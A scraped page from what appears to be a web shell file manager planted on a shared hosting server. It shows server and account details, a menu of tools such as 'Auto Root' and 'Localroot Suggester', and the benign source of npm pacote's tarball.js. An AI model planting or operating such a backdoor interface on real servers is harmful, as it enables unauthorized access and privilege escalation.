Linux premium71.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
Server IP : 198.187.29.8 & Your IP : 13.59.1.209
Domains :
Cant Read [ /etc/named.conf ]
User : cleahvkv
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib /
node_modules /
npm /
node_modules /
pacote /
Delete
Unzip
Name
Size
Permission
Date
Action
lib
[ DIR ]
drwxr-xr-x
2024-03-03 22:36
node_modules
[ DIR ]
drwxr-xr-x
2024-03-03 22:36
CHANGELOG.md
43.39
KB
-rw-r--r--
2021-03-10 14:36
LICENSE
1.08
KB
-rw-r--r--
2021-03-10 14:36
README.md
9.6
KB
-rw-r--r--
2021-03-10 14:36
extract.js
2.99
KB
-rw-r--r--
2021-03-10 14:36
index.js
262
B
-rw-r--r--
2021-03-10 14:36
manifest.js
1.12
KB
-rw-r--r--
2021-03-10 14:36
package.json
3.35
KB
-rw-r--r--
2021-03-10 14:36
packument.js
822
B
-rw-r--r--
2021-03-10 14:36
prefetch.js
1.93
KB
-rw-r--r--
2021-03-10 14:36
tarball.js
1.97
KB
-rw-r--r--
2021-03-10 14:36
Save
Rename
'use strict' const BB = require('bluebird') const fs = require('fs') const getStream = require('get-stream') const mkdirp = BB.promisify(require('mkdirp')) const npa = require('npm-package-arg') const optCheck = require('./lib/util/opt-check.js') const PassThrough = require('stream').PassThrough const path = require('path') const rimraf = BB.promisify(require('rimraf')) const withTarballStream = require('./lib/with-tarball-stream.js') module.exports = tarball function tarball (spec, opts) { opts = optCheck(opts) spec = npa(spec, opts.where) return withTarballStream(spec, opts, stream => getStream.buffer(stream)) } module.exports.stream = tarballStream function tarballStream (spec, opts) { opts = optCheck(opts) spec = npa(spec, opts.where) const output = new PassThrough() let hasTouchedOutput = false let lastError = null withTarballStream(spec, opts, stream => { if (hasTouchedOutput && lastError) { throw lastError } else if (hasTouchedOutput) { throw new Error('abort, abort!') } else { return new BB((resolve, reject) => { stream.on('error', reject) output.on('error', reject) output.on('error', () => { hasTouchedOutput = true }) output.on('finish', resolve) stream.pipe(output) stream.once('data', () => { hasTouchedOutput = true }) }).catch(err => { lastError = err throw err }) } }) .catch(err => output.emit('error', err)) return output } module.exports.toFile = tarballToFile function tarballToFile (spec, dest, opts) { opts = optCheck(opts) spec = npa(spec, opts.where) return mkdirp(path.dirname(dest)) .then(() => withTarballStream(spec, opts, stream => { return rimraf(dest) .then(() => new BB((resolve, reject) => { const writer = fs.createWriteStream(dest) stream.on('error', reject) writer.on('error', reject) writer.on('close', resolve) stream.pipe(writer) })) })) }